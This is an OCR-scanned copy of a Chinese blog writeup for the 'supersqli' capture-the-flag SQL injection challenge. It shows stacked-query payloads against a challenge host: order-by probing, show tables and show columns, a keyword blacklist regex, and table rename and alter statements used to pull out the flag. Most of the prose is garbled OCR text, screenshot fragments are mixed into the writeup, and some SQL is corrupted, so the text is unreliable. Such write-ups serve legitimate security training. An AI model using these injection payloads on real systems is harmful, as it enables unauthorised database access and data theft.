BBtk 5+ supersqli writeup

VKA SRAS N A F 2020-03-13 17:07:16 KA 5237 Wi 6
AL B ASCAERAISCE, W5 CC 4.0 BY-SA BURYML, H8IF M L JE SO Ab BRI A 7 B

ABERE: https://blog.csdn.net/freerats/article/details/104843137
WA

<body’

mwmﬂ$% E%H Ei50E, HE—a

<form methud— get >

s e e Lo .

FHNBHEEFENY, RBsqmapHEiid—iH

RIEEN, HEANBAIniect=2", #TFk-dbsik#
WHIEEE, RiEHsupersqli, ETLEBREBE.

= 2 /& H
Otherv || Xssv|| sQLw ZH 1 =50
Strings¥ | | Payloads+ error 1054 : Unknown column '3 in order clause’

sl Load gﬂ Split . Run

http://111. 198, 29. 45:57789
/?inject=2" order by 2 —+

order by AW REWANFE (A AMwriterupifi—+#id 38, REEMEA#, AAERNM2BE BERIREEHMERIIET, 7Eur
HEREE)

=301 slayLl]

return preg match{”/select |update|delete!|drop|insert |where|l. /1", $inject)

7E 48 Funion selecth} & B3 8 o4t
BETRERBESEN, KU, BHBIEEL.


https://blog.csdn.net/freerats
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/freerats/article/details/104843137

= I R U L TR |

string(1) "2

1ttp://111. 198, 29, 45:57789 [1]=>
"?inject=2" [show tables;——* string(12) "mizomiaomian”

}
Auto-Pwn~ an[”gj*g) {
JEnable Post Data string(16) “1919810931114514”
JEnable Referer }

array (1) {

[ol=»

string (5} "words”
1

B ATshow tables, 1BHEFH RS
show columns from 1919810931114514" ;—+

AR BT S
(el Load | 1 split | ) Run | [o]=>

— string(1) “2”
http://111.198. 29. 45:57789 [1]=>

/?inject=2" ;show columns

- I string(12) "miaomizomiac”
from [ 1919810931114514  ;—+ }

Auto-Pwnw 31'1["3%55) {
[JEnable Post Data string(4) “flag”
Ol Enable Referer [1]=>

R o

ELUGU I aﬁ DPIIL I —'_,' M I - .' o
string(1) "2

http://111. 198. 29. 45:57789 [1]=>
/?inj?ct=2 Eshow columns string(12) "miaomiaomiac”
from words ;—+ }
Auto-Pwn Em["gﬁ’ig) {
[l Enable Post Data string(2) “id”
Ol Enable Referer [1]=>

string(7) "int(10)”

[2]=>

string(2) "NO”

[3]=>

string(0) 77

[4]=>

NULL

[5]=>

string(0) 77

}
E—BHFHRENE Tfagbl, flagifh vl gE7EH

.
TitEwords# B K U4 Hid S M I ISR SR, — 80, — A5, FTURIBRAZ I 3 —words %, inject{i it
ZRE Tid.

RIIHEA T sErenamefMalterss, BI A SAE R ML

Hi&iEH] ; alter tables words rename to words1;

alter tables "1919810931114514" rename to words;alter tables words change flag id
varchar(100);—+



SeiBwords R4 BN HAh 4, FIE1919810931114514FK &k Awords, {HRHAEERDid%F], BHAT LLEHIN—ANid5 8% B flag
BURNid, XFEXARBBN T RIAE AR
EBHEEEW 1 or 1=1#

&y | gxEm |

array (1) {

[ol=>

string(38) “flag{cl168d583ed0d4d7196967Th28chd0baed}”
}

[GYCTF2020]Blacklistr] PASX 8 )2t AR, I8 ™, JFEA—MTE. FHATS
#https://blog.csdn.net/freerats/article/details/107735132


https://blog.csdn.net/freerats/article/details/107735132

	攻防世界 supersqli writeup

